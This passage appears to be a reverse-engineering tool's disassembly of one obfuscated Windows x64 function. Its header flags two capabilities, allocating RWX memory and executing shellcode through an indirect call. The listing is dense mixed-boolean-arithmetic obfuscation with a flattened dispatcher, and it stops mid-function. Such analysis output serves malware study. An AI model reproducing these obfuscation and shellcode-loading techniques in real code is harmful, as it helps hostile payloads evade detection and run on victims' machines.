Function at 0x1400013e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov rax, qword [0x140050008]
xor rax, rbp
mov qword [rbp], rax
mov eax, dword [0x1400508d0]
mov r8d, dword [0x1400508cc]
lea r10d, [rax - 1]
imul r10d, eax
mov r9d, r10d
not r9d
mov eax, r9d
or eax, 0xfcf08e86
mov ecx, eax
not ecx
mov edx, r10d
or edx, 0x10b5141
and edx, 0x61cb57c1
mov ebx, r9d
and ebx, 0x9c308806
or ebx, edx
and eax, 0x61cb57c1
and ecx, 0x2042038
or ecx, eax
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0x3061100
and ecx, 0x14100880
or ecx, eax
mov edx, ecx
not edx
mov ebx, r9d
and ebx, 0xb71bd048
mov eax, r10d
and eax, 0x48e42fb7
or eax, ebx
xor eax, 0x5ff23637
or eax, r9d
mov ebx, eax
not ebx
and ebx, edx
or edx, eax
not edx
and eax, ecx
or eax, ebx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x692a2042
mov edx, eax
and edx, 0x840004
or edx, ecx
xor edx, 0x840004
and eax, 0x9651dfb9
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x8147c639
and eax, 0x7eb839c6
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xf46800a0
and edx, eax
not eax
and eax, 0x64280080
and ecx, 0x90400020
or ecx, eax
xor ecx, 0x90400020
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0xa11540d0
and edx, 0x5eeabf2f
or edx, eax
mov ebx, edx
xor ebx, 0xaa82bf8f
mov eax, edx
xor eax, 0x557d4070
xor edx, 0xd3b0f053
and edx, eax
mov ecx, ebx
and ecx, 0x86cdb023
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
and edx, 0xea69aaca
not ecx
and ecx, 0x15965535
or ecx, edx
and ebx, 0xa17e67de
mov edx, eax
and edx, 0x5e819821
or edx, ebx
xor edx, 0x322582c8
and eax, 0x935be516
or eax, edx
mov edx, eax
not edx
and edx, 0xe6c3afc7
and eax, 0x193c5038
or eax, edx
xor eax, 0x193c5038
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
mov ebx, eax
xor ebx, 0x7a364052
and ebx, eax
not eax
and eax, 0x42140050
and ecx, 0x38224002
or ecx, eax
xor ecx, 0x38224002
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov eax, ebx
not eax
and eax, 0x83ee7db1
and ebx, 0x7c11824e
or ebx, eax
mov r11d, ebx
xor r11d, 0x2220208
mov ecx, r10d
xor ecx, 0x1c344fba
and ecx, r10d
mov eax, r9d
and eax, 0x1c344fba
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x70905553
and eax, 0x8f6faaac
or eax, ecx
mov ecx, r9d
and ecx, 0xf70bf581
mov edx, r10d
and edx, 0x8f40a7e
or edx, ecx
xor edx, 0x9bafef68
mov ecx, r10d
and ecx, 0x6ca41ae9
or ecx, edx
mov edx, ecx
not edx
and edx, 0xbaeb0126
and ecx, 0x4514fed9
or ecx, edx
xor ecx, 0x4514fed9
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov esi, ecx
mov eax, ecx
xor eax, 0x336e0e84
and eax, ecx
not ecx
and ecx, 0x9bb6bc70
and esi, 0x6449438f
or esi, ecx
mov ecx, esi
xor ecx, 0x400200
xor esi, 0x13260c00
or esi, 0xcc91f17b
mov edx, eax
not edx
mov edi, esi
and edi, 0xb89df0b5
and ecx, 0x3620e00
or ecx, edi
or esi, edx
and edx, 0xb89df0b5
and eax, 0x47620f4a
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov eax, esi
not eax
and eax, 0x4e6000f
and esi, 0xfb19fff0
or esi, eax
mov eax, esi
xor eax, 0xc822a164
xor esi, 0x17800481
and eax, 0xe82aab6e
and esi, 0x17d55491
or esi, eax
mov eax, esi
xor eax, 0x402aa268
xor esi, 0x17d55491
and eax, 0x442af669
mov ecx, esi
and ecx, 0xbbd50996
or ecx, eax
mov edx, ecx
xor edx, 0xb3000080
xor ebx, 0xf9d83de3
mov eax, ebx
and eax, 0x4cddc956
and r11d, 0xb32236a9
or r11d, eax
xor ecx, 0x4408c040
and ecx, 0x4cddc956
and edx, 0xb32236a9
or edx, ecx
xor edx, r11d
mov r14d, edx
xor r14d, ebx
and r14d, edx
mov ecx, ebx
xor ecx, esi
not ecx
and ecx, esi
or ebx, esi
mov edx, ebx
not edx
mov esi, ecx
not esi
mov edi, esi
and edi, 0x76b62afc
and ecx, 0x8949d503
or ecx, edi
or esi, ebx
and ebx, 0x76b62afc
and edx, 0x8949d503
or edx, ebx
xor edx, ecx
not esi
or esi, edx
mov r11d, r14d
not r11d
mov edi, esi
mov r15d, esi
xor r15d, 0xf04742b1
and r15d, esi
not esi
and esi, 0xda033a33
and edi, 0x25fcc5cc
or edi, esi
mov ebx, edi
xor ebx, 0x25fcc5cc
or r14d, 0xfb8bd4e
mov ecx, r14d
not ecx
xor edi, 0x2a447882
and edi, ebx
mov r12d, r11d
and r12d, ebx
xor ebx, r11d
or r11d, 0xf04742b1
mov eax, r11d
not eax
and r14d, 0x1607c282
and ecx, 0xe0400031
or ecx, r14d
and r11d, 0x1607c282
and eax, 0x9b83d4c
or eax, r11d
xor eax, ecx
mov ecx, edi
not ecx
mov edx, r15d
not edx
mov esi, ecx
and esi, 0xe8c3a791
and edi, 0x173c586e
or edi, esi
or ecx, edx
and edx, 0xe8c3a791
and r15d, 0x173c586e
or r15d, edx
xor r15d, edi
not ecx
or ecx, r15d
mov edx, eax
not edx
and edx, 0x961fe1e4
and eax, 0x69e01e1b
or eax, edx
mov edx, ecx
not edx
and edx, 0x961fe1e4
and ecx, 0x69e01e1b
or ecx, edx
xor ecx, eax
or ebx, r12d
not ebx
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov ecx, ebx
not ecx
mov eax, ecx
and eax, ebx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov edx, eax
not edx
and edx, 0x935be517
xor eax, 0x6ca41ae8
or eax, edx
mov edx, eax
not edx
and ecx, 0xd35d50f5
and ebx, 0x2ca2af0a
or ebx, ecx
mov ecx, ebx
xor ecx, 0x2ca00a08
and ecx, 0x6ca41ae8
xor ebx, 0x4006b5e2
or ebx, ecx
mov ecx, ebx
not ecx
mov edi, edx
xor edi, ebx
and edi, edx
and eax, 0x103a4799
and edx, 0xefc5b866
or edx, eax
and ebx, 0x103a4799
and ecx, 0xefc5b866
or ecx, ebx
xor ecx, edx
mov eax, edi
not eax
mov edx, ecx
not edx
mov ebx, eax
and ebx, 0x6badaf14
and edi, 0x945250eb
or edi, ebx
or eax, edx
and edx, 0x6badaf14
and ecx, 0x945250eb
or ecx, edx
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov ebx, ecx
and ebx, 0x14028102
mov edx, eax
or ecx, eax
and eax, 0x6b006411
or eax, ebx
xor eax, 0x6b006411
and edx, 0x80fd1aec
or edx, eax
mov eax, edx
not eax
and eax, 0xab028017
and edx, 0x54fd7fe8
or edx, eax
mov eax, edx
xor eax, 0x29c31ab2
xor edx, 0xd0000500
and eax, 0x2dc37ab6
and edx, 0xd23c8549
or edx, eax
mov eax, edx
xor eax, 0x2dc37ab6
xor edx, 0xd0288400
mov esi, ecx
not esi
mov r11d, eax
or r11d, ecx
mov edi, r11d
not edi
and eax, 0x279521eb
and edx, 0xd86ade14
or edx, eax
and ecx, 0x279521eb
and esi, 0xd86ade14
or esi, ecx
xor esi, edx
mov eax, esi
not eax
mov ecx, r11d
and ecx, 0x6cb97fad
and edi, 0x93468052
or edi, ecx
or r11d, eax
and eax, 0x6cb97fad
and esi, 0x93468052
or esi, eax
xor esi, edi
not r11d
or r11d, esi
mov eax, r9d
and eax, 0x7be5a666
mov ecx, r10d
and ecx, 0x841a5999
or ecx, eax
mov eax, ecx
xor eax, 0x84181990
xor ecx, 0x28648464
and ecx, 0x2866c46d
and eax, 0xd7993b92
or eax, ecx
mov edx, eax
xor edx, 0x85100b02
xor eax, 0x2866c46d
and r9d, 0x2295ba5
and r10d, 0xfdd6a45a
or r10d, r9d
mov ecx, r10d
xor ecx, 0xfdd6a45a
xor r10d, 0x2295ba5
or r10d, ecx
mov ecx, r10d
not ecx
mov ebx, eax
xor ebx, r10d
and ebx, eax
and edx, 0xad340f2f
and eax, 0x52cbf0d0
or eax, edx
and r10d, 0xad340f2f
and ecx, 0x52cbf0d0
or ecx, r10d
xor ecx, eax
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov r9d, ecx
mov eax, ecx
mov r14d, ecx
xor r14d, 0x13e54496
and r14d, ecx
not ecx
mov esi, r11d
not esi
mov ebx, esi
and ebx, 0xbee2cf79
mov edi, r11d
and edi, 0x411d3086
or edi, ebx
and r9d, 0xbee2cf79
mov r10d, ecx
and r10d, 0x411d3086
or r10d, r9d
xor r10d, edi
not r10d
or r10d, esi
mov r9d, r10d
not r9d
mov edi, esi
and edi, 0x2804080
and r11d, 0x11650416
or r11d, edi
mov ebx, r11d
xor ebx, 0x10440410
xor r11d, 0x86103148
or esi, 0x13e54496
mov edi, esi
not edi
and ecx, 0x8ed48bb8
and eax, 0x712b7447
or eax, ecx
mov ecx, eax
xor ecx, 0x712b7447
xor eax, 0x9d31cf2e
and eax, ecx
and r11d, 0x8731314e
and ebx, 0x10c44490
or ebx, r11d
and esi, 0x8731314e
and edi, 0x680a8a21
or edi, esi
xor edi, ebx
mov ebx, eax
not ebx
mov edx, r14d
not edx
mov ecx, ebx
and ecx, 0xa1c3d8b1
and eax, 0x5e3c274e
or eax, ecx
or ebx, edx
and edx, 0xa1c3d8b1
and r14d, 0x5e3c274e
or r14d, edx
xor r14d, eax
not ebx
or ebx, r14d
mov eax, edi
not eax
and eax, 0xc79d932
and edi, 0xf38626cd
or edi, eax
mov eax, ebx
not eax
and eax, 0xc79d932
and ebx, 0xf38626cd
or ebx, eax
xor ebx, edi
mov eax, ebx
not eax
mov edx, r10d
or edx, eax
not edx
and r10d, 0x1b0402e8
and r9d, 0xe4fbfd17
or r9d, r10d
and eax, 0x1b0402e8
and ebx, 0xe4fbfd17
or ebx, eax
xor ebx, r9d
mov eax, edx
and eax, ebx
xor ebx, edx
or ebx, eax
mov edx, ebx
not edx
mov eax, edx
and eax, 0xfd67f257
mov ecx, ebx
and ecx, 0x2980da8
or ecx, eax
mov edi, ecx
xor edi, 0x180
xor ecx, 0x29451004
mov esi, edx
or esi, 0x2dcd9985
mov eax, esi
not eax
or ecx, 0x202444a
and ecx, 0x2bcf5c4e
and edi, 0x4008181
or edi, ecx
and esi, 0x2bcf5c4e
and eax, 0xd0302230
or eax, esi
xor eax, edi
mov ecx, eax
not ecx
and ecx, 0xd232667a
and eax, 0x2dcd9985
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x6d75e505
xor eax, 0x928a1afa
or eax, ecx
mov esi, eax
not esi
mov ecx, edx
and ecx, 0x378eaab4
and ebx, 0xc871554b
or ebx, ecx
xor ebx, 0xa504b04e
xor edx, ebx
and edx, ebx
mov ebx, edx
not ebx
mov edi, esi
xor edi, ebx
and edi, esi
and eax, 0xdbc84c99
and esi, 0x2437b366
or esi, eax
and ebx, 0xdbc84c99
and edx, 0x2437b366
or edx, ebx
xor edx, esi
mov ecx, edi
not ecx
mov eax, edx
not eax
mov ebx, ecx
and ebx, 0x9a0b81fa
and edi, 0x65f47e05
or edi, ebx
or ecx, eax
and eax, 0x9a0b81fa
and edx, 0x65f47e05
or edx, eax
xor edx, edi
not ecx
or ecx, edx
mov eax, ecx
xor eax, 0x97c57c3b
and eax, ecx
not ecx
and ecx, 0x97c57c3b
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x6c5c3253
and eax, 0x93a3cdac
or eax, ecx
mov ecx, eax
xor ecx, 0x96ecab6d
xor eax, 0x69135492
mov edx, eax
and edx, 0xeb522290
mov ebx, ecx
and ebx, 0x14addd6f
or ebx, edx
and ecx, 0xeb522290
mov edx, eax
and edx, 0x14addd6f
or edx, ecx
xor edx, ebx
xor eax, edx
test eax, edx
sete byte [rbp - 0x22]
cmp r8d, 0xa
setl byte [rbp - 0x21]
mov eax, 0x13231b03
cmp eax, 0xf65f02e7
jg 0x140001cdb
jmp 0x140004d70
sub rsp, 0x20
lea rcx, str.____Oh_gosh__something_went_wrong_
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
add rsp, 0x20
mov eax, 0xe56a3d73
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp eax, 0xf65f02e7
jle 0x140004d70
cmp eax, 0x4bbe24e1
jg 0x140004d20
cmp eax, 0x2ac7fc7d
jg 0x140007223
cmp eax, 0x12c3258c
jg 0x14000c33f
cmp eax, 0xf65f02e8
je 0x14000c35a
cmp eax, 0x7ef4e30
jne 0x140001cd0
mov eax, dword [0x1400508d0]
lea ebx, [rax - 1]
imul ebx, eax
mov esi, ebx
xor esi, 0xb5c726f8
and esi, ebx
mov r9d, ebx
mov r8d, ebx
xor r8d, 0xe847dd82
and r8d, ebx
not ebx
mov edi, ebx
and edi, 0xb5c726f8
mov eax, edi
and eax, esi
xor esi, edi
or esi, eax
mov eax, esi
not eax
and eax, 0x4a38d907
and esi, 0xb5c726f8
or esi, eax
mov eax, esi
not eax
and eax, 0x4bf3ab04
and esi, 0xb40c54fb
or esi, eax
mov eax, esi
xor eax, 0x840c50d1
xor esi, 0x3132b04
and eax, 0xccecd0d1
and esi, 0x33132f2e
or esi, eax
mov eax, esi
xor eax, 0xccecd0d1
xor esi, 0x33132f2e
and eax, esi
mov edi, esi
and edi, eax
xor eax, esi
or eax, edi
mov edi, eax
not edi
and edi, 0x39ec3f34
and eax, 0xc613c0cb
or eax, edi
mov edi, eax
xor edi, 0x9c83420
xor eax, 0x800b
and eax, 0x30248b1f
and edi, 0xcfdb74e0
or edi, eax
mov eax, edi
xor eax, 0x30248b1f
xor edi, 0x828300c0
and edi, 0xa2a300c8
mov esi, eax
and esi, 0x100cf324
or esi, edi
xor esi, 0x100cf324
and eax, 0x4d500c13
or eax, esi
mov edi, eax
not edi
and edi, 0x4cb03f65
and eax, 0xb34fc09a
or eax, edi
mov r12d, eax
xor r12d, 0x1202146
xor eax, 0xfe1fcc89
mov edi, eax
and edi, 0xe4c15ab8
and r12d, 0x1b3ea547
or r12d, edi
xor r12d, 0x1b3ea547
or r12d, eax
mov r14d, r12d
not r14d
and ebx, 0x3e904ca
and r9d, 0xfc16fb35
or r9d, ebx
mov eax, r9d
xor eax, 0x20060900
xor r9d, 0x410482
or r9d, 0x17b8227d
mov edx, r8d
not edx
mov ebx, r9d
and ebx, 0xcb39d0f2
and eax, 0x20460d00
or eax, ebx
or r9d, edx
and edx, 0xcb39d0f2
and r8d, 0x34c62f0d
or r8d, edx
xor r8d, eax
not r9d
or r9d, r8d
mov eax, r9d
not eax
and eax, 0x17b8227d
and r9d, 0xe847dd82
or r9d, eax
mov edx, r9d
not edx
mov ecx, r9d
xor ecx, 0xbb6e8c9b
and ecx, edx
mov edi, edx
or edi, 0xbb6e8c9b
mov ebx, edi
not ebx
mov eax, ecx
not eax
mov esi, eax
and esi, 0xaf96c16f
and ecx, 0x50693e90
or ecx, esi
or eax, edi
and edi, 0xaf96c16f
and ebx, 0x40013200
or ebx, edi
xor ebx, ecx
not eax
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0x44917364
and eax, 0xbb6e8c9b
or eax, ecx
and r9d, 0xbfb6e6c4
and edx, 0x4049193b
or edx, r9d
mov edi, edx
xor edi, 0x28148404
xor edx, 0xa
and edx, 0x97a262ca
and edi, 0x685d9d35
or edi, edx
xor edi, 0x685d9d35
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
mov r9d, edi
not r9d
mov eax, r12d
and eax, 0x9b4e408c
mov r10d, r14d
and r10d, 0x64b1bf73
or r10d, eax
mov r8d, r10d
xor r8d, 0x64b1bf73
xor r10d, 0x9b4e408c
mov ebx, r9d
mov ecx, edi
and ecx, 0xcf1077e1
and r9d, 0x30ef881e
or r9d, ecx
not r9d
or r9d, edi
and edi, 0xb5c8b4b9
and ebx, 0x4a374b46
or ebx, edi
mov r13d, ebx
xor r13d, 0x4a374b46
mov dword [rbp - 0x28], r13d
xor ebx, 0xb5c8b4b9
mov r11d, r10d
and r11d, 0x30ef881e
mov ecx, ebx
and ecx, 0xb5e6970e
and r13d, 0x4a1968f1
or r13d, ecx
xor r13d, 0x85091f10
mov r15d, r13d
xor r15d, ebx
mov ecx, r8d
xor ecx, ebx
and ecx, r8d
and ebx, r8d
and r8d, 0xcf1077e1
or r8d, r11d
not r8d
or r8d, r10d
mov edi, r8d
not edi
and r12d, 0x178fbe07
and r14d, 0xe87041f8
or r14d, r12d
mov esi, r14d
xor esi, 0xe87041f8
xor r14d, 0x158eae06
and r14d, 0x1d9eaebe
mov edx, esi
and edx, 0xe2615141
or edx, r14d
xor edx, 0xd28ed95f
and esi, 0xcf1077e1
or esi, edx
mov r11d, esi
not r11d
and r15d, r13d
and r8d, 0x775cbf03
mov r13d, edi
and r13d, 0x88a340fc
or r13d, r8d
mov r8d, r13d
xor r8d, 0x88a340fc
mov r14d, esi
and r14d, 0x11dc1fec
xor esi, 0x8e0ae7cd
and esi, r11d
and r11d, 0xee23e013
or r11d, r14d
mov r14d, r13d
xor r14d, 0x6a9a731
and r14d, r8d
and edi, 0x8e0ae7cd
mov r12d, r14d
and r12d, edi
xor edi, r14d
mov r14d, r11d
xor r11d, 0x11dc1fec
or edi, r12d
mov edx, r11d
or edx, 0x8e0ae7cd
mov r12d, edx
not r12d
mov eax, edx
and eax, 0xf2451445
and r12d, 0x1b00832
or r12d, eax
mov eax, esi
not eax
or edx, eax
and eax, 0xf2451445
and esi, 0xdbaebba
or esi, eax
xor esi, r12d
not edx
or edx, esi
mov eax, edi
not eax
and eax, 0x93d78576
and edi, 0x6c287a89
or edi, eax
mov eax, edx
not eax
and eax, 0x93d78576
and edx, 0x6c287a89
or edx, eax
mov r12d, r9d
not r12d
xor r14d, 0xaa00a011
xor edx, edi
xor r13d, 0x775cbf03
mov esi, r13d
and esi, 0x557b5f46
and r8d, 0xaa84a0b9
or r8d, esi
or r13d, r11d
and r11d, 0x557b5f46
and r14d, 0xaa84a0b9
or r14d, r11d
xor r14d, r8d
not r13d
or r13d, r14d
mov edi, r13d
not edi
mov r11d, edx
not r11d
mov eax, r11d
and eax, 0x403b93d0
and edx, 0xbfc46c2f
or edx, eax
or r11d, r13d
and r13d, 0x403b93d0
and edi, 0xbfc46c2f
or edi, r13d
xor edi, edx
not r11d
or r11d, edi
mov eax, r15d
xor eax, r9d
and eax, r15d
and r9d, r15d
not r15d
and r15d, r12d
or r9d, r15d
mov edx, eax
not edx
mov edi, r9d
not edi
mov r8d, edx
and r8d, 0xfe12a9cd
and eax, 0x1ed5632
or eax, r8d
or edx, edi
and edi, 0xfe12a9cd
and r9d, 0x1ed5632
or r9d, edi
xor r9d, eax
not edx
or edx, r9d
mov eax, r11d
not eax
and eax, 0xd642137d
mov esi, r11d
and esi, 0x29bdec82
or esi, eax
xor esi, edx
xor esi, 0xd642137d
and esi, edx
xor edx, r11d
and edx, r11d
mov eax, esi
and eax, edx
xor edx, esi
or edx, eax
mov eax, dword [rbp - 0x28]
and eax, r10d
or ebx, eax
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, ebx
mov edi, ecx
not edi
mov esi, ebx
and esi, 0x16528a40
and eax, 0xe9ad75bf
or eax, esi
or ebx, edi
and edi, 0x16528a40
and ecx, 0xe9ad75bf
or ecx, edi
xor ecx, eax
not ebx
or ebx, ecx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xc68a5f1e
and ebx, 0x3975a0e1
or ebx, ecx
xor ebx, 0xc68a5f1e
xor eax, ebx
and eax, ebx
mov ebx, edx
mov edi, edx
xor edi, 0x3ccdd286
and edi, edx
not edx
and edx, 0x366fe27d
and ebx, 0xc9901d82
or ebx, edx
mov r8d, ebx
xor r8d, 0xc9901d82
mov r9d, eax
not r9d
xor ebx, 0xaa230fb
and ebx, r8d
xor eax, 0x3ccdd286
and eax, r9d
mov r10d, r9d
or r10d, 0x3ccdd286
mov r14d, r10d
not r14d
mov edx, ebx
not edx
mov esi, edi
not esi
mov r11d, edx
and r11d, 0x776f1231
and ebx, 0x8890edce
or ebx, r11d
or edx, esi
and esi, 0x776f1231
and edi, 0x8890edce
or edi, esi
xor edi, ebx
not edx
or edx, edi
mov ecx, eax
not ecx
mov ebx, ecx
and ebx, 0x4cfc3480
and eax, 0xb303cb7f
or eax, ebx
or ecx, r10d
and r10d, 0x4cfc3480
and r14d, 0x83020979
or r14d, r10d
xor r14d, eax
not ecx
or ecx, r14d
mov eax, edx
not eax
and eax, ecx
not ecx
and ecx, edx
or ecx, eax
mov eax, r8d
and eax, r9d
xor r9d, r8d
or r9d, eax
not r9d
mov eax, ecx
and eax, r9d
xor r9d, ecx
or r9d, eax
mov r8d, r9d
mov r15d, r9d
mov r10d, r9d
mov r11d, r9d
mov r12d, r9d
xor r12d, 0x61cdf75e
and r12d, r9d
mov r14d, r9d
not r14d
mov eax, r14d
and eax, 0x6501310
and r8d, 0x30a9602c
or r8d, eax
xor r8d, 0x30a9602c
and r15d, 0xc9068cc3
or r15d, r8d
mov eax, r15d
not eax
and eax, 0xb5b4afc
and r15d, 0xf4a4b503
or r15d, eax
mov eax, r15d
xor eax, 0xc01cc639
xor r15d, 0x2d8039c0
and eax, 0xd03ec639
and r15d, 0x2fc139c6
or r15d, eax
mov r8d, r15d
xor r8d, 0xd03ec639
mov edx, r15d
xor edx, 0x2fc139c6
mov ecx, r14d
and ecx, 0x6774540a
and r10d, 0x988babf5
or r10d, ecx
mov esi, r10d
xor esi, 0x988babf5
xor r10d, 0x66741400
and r10d, 0xf6fcbf14
mov ecx, esi
and ecx, 0x90340eb
or ecx, r10d
xor ecx, 0x90340eb
or ecx, esi
mov esi, ecx
not esi
and esi, 0xfb2c52f
and ecx, 0xf04d3ad0
or ecx, esi
mov esi, ecx
xor esi, 0x304c00d0
mov r9d, ecx
xor r9d, 0xfb2c52f
xor r15d, 0xe76042ec
and r15d, edx
or edx, 0x375e84d5
mov eax, edx
not eax
xor ecx, 0x38ec41fa
and ecx, r9d
and esi, 0x375e84d5
mov ebx, r15d
not ebx
mov r10d, edx
and r10d, 0x6995f9e5
and eax, 0x8020020a
or eax, r10d
or edx, ebx
and ebx, 0x6995f9e5
and r15d, 0x966a061a
or r15d, ebx
xor r15d, eax
not edx
or edx, r15d
mov eax, ecx
and eax, esi
xor esi, ecx
or esi, eax
mov eax, edx
not eax
and eax, 0x81c362bc
and edx, 0x7e3c9d43
or edx, eax
mov eax, esi
not eax
and eax, 0x81c362bc
and esi, 0x7e3c9d43
or esi, eax
xor esi, edx
mov eax, r8d
and eax, r9d
xor r9d, r8d
or r9d, eax
not r9d
mov eax, esi
and eax, r9d
xor r9d, esi
or r9d, eax
mov r8d, r9d
not r8d
mov eax, r8d
and eax, r9d
mov ecx, r8d
and ecx, eax
xor eax, r8d
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x8d7ef72e
and ecx, 0xfc2d2b09
and eax, 0x3d2d4f6
or eax, ecx
xor eax, 0x7153dc27
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x439e1fab
and edx, eax
or eax, 0xbc61e054
mov ebx, edx
not ebx
mov esi, eax
and esi, 0x1c568858
and ecx, 0x438817a3
or ecx, esi
or eax, ebx
and ebx, 0x1c568858
and edx, 0xe3a977a7
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xbc61e054
and eax, 0x439e1fab
or eax, ecx
and r14d, 0x61886548
and r11d, 0x459216
or r11d, r14d
xor r11d, 0x459216
mov ecx, r11d
and ecx, r12d
xor r12d, r11d
or r12d, ecx
mov ecx, r12d
not ecx
and ecx, 0xd460cc1b
and r12d, 0x2b9f33e4
or r12d, ecx
mov ecx, r12d
xor ecx, 0x2120000
xor r12d, 0xb5ad3b45
mov edx, r12d
and edx, 0xc8ccd6bb
and ecx, 0x37332944
or ecx, edx
mov edx, ecx
xor edx, 0x5322104
mov ebx, ecx
xor ebx, 0x88c41221
or ebx, 0x670be4de
mov esi, ebx
not esi
or r12d, 0x98f41b21
mov edi, r12d
not edi
and ebx, 0x62f7231a
and esi, 0x98001821
or esi, ebx
and r12d, 0x62f7231a
and edi, 0x508c4c4
or edi, r12d
xor edi, esi
mov ebx, edi
not ebx
and ebx, 0xea7513f0
and edi, 0x158aec0f
or edi, ebx
and edx, 0x8d7ef72e
xor ecx, 0xba4dde6a
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf348e08b
and ecx, 0xcb71f74
or ecx, edx
mov edx, ecx
xor edx, 0xc231040
xor ecx, 0xf348e08b
mov ebx, edi
not ebx
mov esi, ebx
and esi, 0x13d42f3c
and edi, 0xec2bd0c3
or edi, esi
or ebx, ecx
and ecx, 0x13d42f3c
and edx, 0xec2bd0c3
or edx, ecx
xor edx, edi
not ebx
or ebx, edx
mov ecx, ebx
not ecx
and ebx, 0xa498b2ee
and ecx, 0x5b674d11
or ecx, ebx
mov edx, ecx
xor edx, 0x4083242
xor ecx, 0x5b274010
and edx, 0x4483f43
and ecx, 0xfbb7c0bc
or ecx, edx
mov edx, ecx
xor edx, 0x480f42
xor ecx, 0x6a16c034
and ecx, 0x6e16f035
and edx, 0x91e90fca
or edx, ecx
mov r10d, edx
xor r10d, 0x91e90fca
mov esi, eax
not esi
mov ecx, esi
and ecx, 0xa4b8c27c
mov ebx, eax
and ebx, 0x5b473d83
or ebx, ecx
mov edi, ebx
xor edi, 0x5b060982
xor edx, 0x6e16f035
xor ebx, 0xa4b8c27c
mov ecx, ebx
and ecx, 0x84717601
and edi, 0x7b8e89fe
or edi, ecx
or ebx, r10d
mov ecx, esi
or esi, r10d
and r10d, 0x84717601
and ecx, 0xea94f71c
and eax, 0x156b08e3
or eax, ecx
xor eax, 0xea94f71c
or eax, edx
and edx, 0x7b8e89fe
or edx, r10d
xor edx, edi
not ebx
or ebx, edx
mov r10d, ebx
not r10d
mov ecx, eax
not ecx
mov edi, esi
not edi
mov edx, eax
and edx, 0xe3d7705e
and ecx, 0x1c288fa1
or ecx, edx
or eax, esi
and esi, 0xe3d7705e
and edi, 0x1c288fa1
or edi, esi
xor edi, ecx
not eax
or eax, edi
mov ecx, ebx
and ecx, 0xce946ff6
xor ebx, 0xcf5d9aa
and ebx, r10d
and r10d, 0x316b9009
or r10d, ecx
mov r11d, r10d
xor r11d, 0x316b9009
mov esi, eax
mov edi, eax
xor edi, 0xf30a2655
and edi, eax
not eax
and eax, 0x8413c635
and esi, 0x7bec39ca
or esi, eax
mov eax, esi
xor eax, 0x7bec39ca
xor r10d, 0x3d9e49a3
and r10d, r11d
xor esi, 0x7719e060
and esi, eax
mov ecx, r10d
not ecx
mov edx, ebx
not edx
mov r14d, ecx
and r14d, 0xa6a34130
and r10d, 0x595cbecf
or r10d, r14d
or ecx, edx
and edx, 0xa6a34130
and ebx, 0x595cbecf
or ebx, edx
xor ebx, r10d
not ecx
or ecx, ebx
mov ebx, esi
not ebx
mov edx, edi
not edx
mov r10d, ebx
and r10d, 0x2cac4236
and esi, 0xd353bdc9
or esi, r10d
or ebx, edx
and edx, 0x2cac4236
and edi, 0xd353bdc9
or edi, edx
xor edi, esi
not ebx
or ebx, edi
mov edx, ecx
not edx
and edx, 0xe8a2ca05
and ecx, 0x175d35fa
or ecx, edx
mov edx, ebx
not edx
and edx, 0xe8a2ca05
and ebx, 0x175d35fa
or ebx, edx
xor ebx, ecx
mov ecx, r11d
and ecx, eax
xor eax, r11d
or eax, ecx
not eax
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, eax
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov esi, ecx
not esi
and ecx, 0x59efc77d
mov edx, esi
and edx, 0xa6103882
or edx, ecx
xor edx, 0x2b6ecfad
and esi, 0x728108d0
or esi, edx
mov ecx, ebx
and ecx, 0xcd55fd67
and eax, 0x32aa0298
or eax, ecx
xor eax, 0x402b0a48
xor ebx, eax
and ebx, eax
mov r11d, ebx
not r11d
mov ecx, r11d
and ecx, 0xb83a8b99
and ebx, 0x47c57466
or ebx, ecx
mov r10d, ebx
xor r10d, 0x47c57466
mov r15d, esi
xor ebx, 0xf76abcfa
and ebx, r10d
mov r14d, esi
and r14d, r10d
xor r10d, esi
not esi
xor r15d, 0xb0afc89c
and r15d, esi
or esi, 0xb0afc89c
mov edx, esi
not edx
or r11d, 0x4f503763
mov eax, r11d
not eax
mov edi, r15d
not edi
mov ecx, esi
and ecx, 0x19d5730f
and edx, 0x46000460
or edx, ecx
or esi, edi
and edi, 0x19d5730f
and r15d, 0xe62a8cf0
or r15d, edi
xor r15d, edx
not esi
or esi, r15d
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x20c1f40
and ebx, 0xfdf3e0bf
or ebx, edx
or ecx, r11d
and r11d, 0x20c1f40
and eax, 0xb0a3c09c
